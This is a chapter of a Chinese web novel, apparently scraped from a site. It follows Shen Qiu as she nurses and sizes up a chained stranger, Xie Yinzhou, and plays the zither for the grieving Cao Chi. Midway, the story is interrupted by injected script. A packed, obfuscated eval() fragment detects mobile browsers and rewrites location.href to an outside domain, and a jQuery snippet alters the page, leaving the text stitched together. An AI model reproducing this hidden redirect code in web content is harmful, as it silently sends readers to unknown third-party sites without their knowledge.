“知道你心善,但他毕竟是个来历不明的人,防人之心不可无,不可轻信。”沈戈端提醒道。
“爹放心,裘儿知道,只不过是去看他一眼罢了,看他恢复的差不多了,也好送他离开。”沈裘笑道。
沈戈端应声:“杂役那还剩张空床,我将他安置在那了。”
...
东院的杂役都出门做活了,只剩下一人。男子蜷在褪色的薄被里,浑身发着湿寒,像被打湿的纸,腕上的铁链缠着肌肤,雪般的肌肤掺了朱砂。
门响了三声。
床上的人微动,手勾动铁链,发出阵阵声音,反应过来后,慢慢勾起唇角,重新合上眉眼。
门口没了声响,静了一会儿后,一抹斜阳从门外透进屋中,铁链在榻上蜿蜒出冷硬的弧度。男子的腕骨伶仃地悬在床沿,霜白中衣被冷汗浸透。
沈裘见状蹙起眉头,走上前摸了摸他的额头,一股炽热的滚烫刺的手生疼,她抽回手,眉头蹙得更深,转身欲往外走,又突然又止步,眉眼慢慢清扫向那破旧的被褥。
眼下他神智不清,倒不失为一个窥看的好机会。
那玉佩是他贴身之物,应该是放在腰间?
倘若知道那到底是什么动物,找起他的身份便容易了。
她欠身,将手缓缓伸向那条被褥。
床上的人睫毛轻颤,慢慢睁开眼,高热烧得他眉眼殷红,喉间溢出几声破碎的咳嗽,震的腕上又添了几道新痕。他用那只没有牵制的手,攥住近在咫尺的衣袖。
衣服上越拽越紧的褶皱,沈裘低眸,看着那双霜雪腕上的伤痕累累。
沈裘突然温柔起来:“是何人将你捆起来的,我定为你讨个公道。”
只是片刻,那男子又昏睡了过去。
沈裘看着袖子上的手垂落,慌忙起身道:“我这就为你找大夫来!”
关上门走了几步后,沈裘望向那道门,眼神略带几分思索。
也许那人早便醒了。
方才那一番已算是警告,倘若她还接着后面的动作难保给他留下个不好的印象,还是先不要轻举妄动的好,反正她只是想施恩罢了,对此人身份顶多就是好奇几分,不知道也无妨。
沈戈端最善做表面,不应该如此对待一个普通人才对,今日此举一定是另有缘由。
她走出门,随手挡住一个正在浇花的小厮,问:“方才我去看昨日救下之人,怎的他那只手会被铁链拴住?”
杂役从前对二房态度不好,如今大房鸡飞狗跳,二房位置上来了,他声音自觉放低了些,生怕被面前人记起:“是老爷,老爷昨夜一更撞见他在后院鬼鬼祟祟的,便用铁链把他栓了起来,问他去哪也没说。”
沈裘拍了拍肩头的灰,正视面前人,莞尔一笑:“他初来乍到,应当是在找茅房吧。你们昨夜同住屋檐下,怎么也不帮忙解释一二。”
杂役回想起昨天那个人的背影,总感觉阴恻恻的,不像是什么好人,便道:“姑娘你有所不知,我感觉这个人手脚不太干净,总感觉阴森森的,昨夜那样子不像是去茅房。”
沈裘自然知道他去哪里,昨夜一更的时候他来自己屋中取玉佩了。不过这个不能说,说了他们两个孤男寡女便说不清了。不过,既他昨夜被人拴起来了,也许曹家的事并非他所做。
沈裘指责道:“你擅用以貌取人?”她笑,“那你倒是说说,感觉我是怎么样的人?”
一双视线温柔而又诚挚,却莫名让人压力倍增,杂役慌乱的放下手中的东西,奉手道:“二姑娘赎罪,是奴婢以貌取人了,这就去同老爷解释去。”
那道身影正要走,突然肩头一紧,他慢慢转身:“二...二姑娘还有何事?”
沈裘歪头,轻轻笑道:“你还没说呢,感觉我是怎么样的人?”
杂役不敢直视她的目光,吞咽着口水艰难道:“二姑娘...二姑娘自然是顶顶好的人!”
沈裘大笑起来,往嘴边扇了扇:“好了,开个玩笑而已,这么紧张做什么,去吧,办你的正事去。”
杂役重重点头,正要转身。
“知道该怎么说吧。”沈裘笑着提醒道,“如实说就好,这是我的客人,不是囚犯。”
沈裘扬眉,对他笑了笑。
“是!是!”杂役重重点头,转身快步离开。在转角处,他停下来,转身看着那道背影。
二姑娘的背影,与那个男人一样,阴恻恻的,身后像蒙了一层影子一样吓人。
突然那道视线转过来,他对上那道温和的视线,浑身打了个激灵,快步离开。
房里,男人感觉额上微凉,慢慢睁开眼。
“你醒啦?”沈裘端了一盆水在旁边,在旁边坐下。
原来额上是一块帕巾。
他低眸,身上多了一床被褥,比原先厚重了不少,手上的铁链卸下了,原先腕上磨破的皮肉已然不见,被白纱裹住。
两双眸子对上时,女子嘴角的笑意无尽温柔。
“醒了就好。”沈裘摘下那帕巾,放入水中,边拧边问,“昨日我爹误会了你,还望你别介意。”
她拿起帕巾,手试了试他额上的温度,松了口气,然后再将帕巾放下。
“对了。”沈裘试探道,“上次太过匆忙,还未来得及问你,为何会受这么重的伤。”
“路遇山匪,死里逃生。”他道。
沈裘偏头,端起桌上的瓷碗,递过去:“我早听说那一片山匪蛮横,公子能从从他们手中逃出来很厉害。”
她心中没什么波澜,本来就没指望他能说实话。
男子几缕碎发半挂耳边,眸子望向那碗药,没有立刻伸手。
沈裘似想起什么,将碗收了回来,用勺子舀起吹了吹,又递过去:“方才你头烫的厉害,我擅作主张让大夫来为你看了看,这是大夫为你开的药,放心,我吹过了,不烫。”
男子撑起身子,双手接过那只瓷碗:“多谢姑娘,我自己来便好。”
沈裘看着他将药一饮而尽,温柔的接过药碗:“公子后面作何打算?”
男子放下药碗,轻咳两声:“先找个地方落脚,后面的事暂且还未想好。”
沈裘将药碗放到桌上,闻言手指微顿,只是片刻侧身笑道:“那公子不妨先在此处落脚,沈府虽不是高门大户,多一双筷子是没问题的,我爹那边不必担心自由我去说,往后公子若是想好了打算再走也不迟。”
“多谢。”那人说。
沈裘点头,端起桌上的水盆往外走,脚步微顿,她侧身问:“往后如何称呼公子?”
他望着那双眸子,静默片刻:“谢隐舟。”
沈裘默念了一遍,莞尔一笑,眸子亮亮的:“那往后便喊你阿舟吧。”
门关上后不久,谢隐舟撑起身子,下床走到窗边,侧身支开窗户,从小缝隙中窥看周围动静,确认无人后,手按在胸口,偏头朝窗外吐出方才喝的药。
窗再次被关上。
一阵鸟啼声中,沈裘从转角走出来,静静地望着那扇窗户。
此人的防备心很强,恐怕现在还未真正信任她。
沈裘低眸,看着轻薄的衣衫,睫毛微颤。废了这么多心思救下的人,这恩情不能收不回来。
咚咚咚三下敲门声。
谢隐舟睁开眼,望向门口。
杂役推门进来,将衣服放到他床边:“二姑娘说你先前的衣服都脏了,给你添了两套衣服。”
谢隐舟看向那两件衣服,目光淡淡。
次日。
沈裘收到了很多琴谱,是沈戈端送来的。
据说,沈亦安因沈戈端不让其去曹府,与沈戈端大吵了一架,还把琴砸了。
不日后便是沈戈端升官后的私宴,沈戈端早许诺出去让同僚听自己女儿的琴艺,不好作罢。
沈裘挑了一本琴谱,随手翻了几页,有几首眼熟的曲子。
她猜,沈戈端想到了她在曹府上弹出的曲子,还有曹池亲自送琴的那番举动,将希望给予在她身上了。
“多谢爹爹,我很喜欢。”她抬头对沈戈端笑着。
沈戈端看着那张酷似自己的脸,笑了笑,如今在府中,唯一不让他操心的,竟然是离开多年的二女儿,当真是令人唏嘘,不过好在多年未见,他们也并未有隔阂。
他背后的手动了动,一阵风吹来,他没有接下来的动作。
“爹在想什么。”沈裘看出他的愣神,问道。
心中有愧,沈戈端不敢直视沈裘的目光,从旁边又递过几本琴谱,说里面的玄妙,让她好好看看,这两日他再寻个好一点的琴师教她弹琴,话说完,人便走了。
沈裘望着远处的人影,就算再怎么修缮他们之间的桥梁,好像总有一块墙挡在他们之间,难以跨越。
她睨了一眼身边的琴谱,微微蹙眉,随手拿了一本翻看,越看眉头皱的越紧,左右看了看无人,最后打了个哈欠。
她不喜欢弹琴,上辈子为了曹池学琴,也学的十分痛苦。
正打算扔下琴谱回去睡觉,余光瞥见长廊一角有道影子,不动声色的站在那里。
沈裘坐了回去,嘴角微勾,翻开琴谱的第一页耐心折好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583952|171641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
纤细的手指落在琴弦上,弯曲勾起,音弦随风而起。
刚弹起还比较生疏,她忍不住蹙眉咂嘴。
“我就知道!你明明不会...”
下一秒,她的声音被更清亮的曲调遮盖住。
沈裘温柔的着看向那道声音,指尖勾起琴弦,连贯的悠长的音缠绕在长廊之间。
不会又怎么样,学不就好了。
沈亦安脸色微红,羞怒的转身扬长而去。
沈裘的脸上并没有快意,而是慢慢闭上眼睛,重复弹了一遍这首曲子,熟悉的旋律像是在上辈子出现过那样,越弹场景越是清晰。
上辈子,她与曹池最后一次见面,他弹的就是这首曲子。
只记得,曹池那天的脸色非常不好,牵着她的手在街巷穿行,走了好久好久都不见停,往常他常会心疼她走得久,后半段会背着她走,可是那次没有,他像是陷入了一种情绪中,一直往前走不肯停下。
那天,是她看到一个路边的茶馆,央求其停下,他犹豫了好久才停下。她坐在柳树下饮茶,而曹池则坐了琴师的位置,对她弹了这首曲子。
沈裘望着那曲子的名字,阳关三叠。她的手重重落下,琴弦因为突然的停下,发出很大的噪音。
所以说,曹池曾用曲子和她告别吗?
她慢慢闭上眼。
上辈子,对曹池而言,她到底算什么呢。
黑暗中,仿佛看到了一双壁人坐在柳树下,少年面如白纸,对着椅子上的姑娘抚琴。而那姑娘不知曲意,手端着下巴,笑着天真烂漫。
不知怎的,她漫无目的的走着,便走到了曹府门外,曹府门外张灯结彩,只不过都是白的。
沈裘抬眼望着,突然不知该不该进。上辈子,曹池的父亲并没有那么早死,让他这么早死的原因也许间接是她导致的。
还是算了,搞不好会沾上冤魂,她转身要走。
抬头,却撞上了曹池。
他的额上绑了白色的抹额,几天不见仿佛沧桑了不少,只是看到她的第一眼,竟是扯出了几抹笑意。
一阵风吹过,一片柳叶落在他肩头。
沈裘突然什么都说不出来。
这次是他先开的口,没有问她为什么来这,而是说:“我心情不好,二姑娘可以为我弹首曲子吗?”
沈裘静了一会儿,点头。
他没有将她带回府中,而是去了一个有琴的茶馆。
沈裘坐在琴下,翻阅面前的曲谱,突然生了怯意,想要坦白:“其实我...”
“随便弹什么。”曹池柔和道,“像小时候一样,慢慢弹给给我听。”
沈裘愣住:“小时候?”
曹池倒了一杯茶,轻轻笑了:“嗯,四岁的时候。”
他说的具体,沈裘突然想起四岁时她确实弹过一次琴,那时她陪阿姐去先生那里练琴。因为太过无聊,她跑了出去,遇到了一个被欺负的小哑巴,周遭的孩子正嘲笑他不会说话。
她赶跑了那些人,向先生借了一把琴出来,胡乱弹了一首,然后告诉他。
“不会说话没关系,世上有很多可以代替说话的东西,远比嘴说出来的好听很多,不是人人都会,很厉害。”
记忆慢慢在眼前散开,眼前的一切慢慢清晰起来。
当初那番举动纯粹是话本上的英雄看多了,现在想想当初也是多此一举。
他们面面相觑,明明什么都没说,好像又什么都说了。
窗外的风扬起柳树枝柳,沁凉的风从敞开的窗送进来,茶香的清雅混着风铺散,沈裘半垂在两边的碎发被风扬起,飘在耳畔。
拥有这样的情结,上辈子还是听从了父母命另娶旁人。
她的恩情,于他而言,也不过如此。
一曲弹完,她抬眸看他:“节哀顺便。”
曹池看着她,静默不言。
曹府的家仆从外面寻来,面色焦急:“我总算找到你了公子...”
缠绕着记忆的琴声慢慢停下,也意味着这段记忆,永久封存在了琴声里。沈裘拂袖起身:“天色不早,我也该回去了。”
待她跨步欲出门,身后传来曹池的声音。
“日后,还有机会与你一同琴萧同奏吗?”
沈裘脚步停下,凝视着门外糖葫芦摊前女子,触及到她的目光,那女人匆匆别开视线,故意与糖葫芦摊的老板说话。
那是阿姐的婢女。
沈裘转身,莞尔一笑,道:“自然。”
曹池望着糖葫芦摊前的那个人,低头轻轻点了点,喃喃道:“那便好。”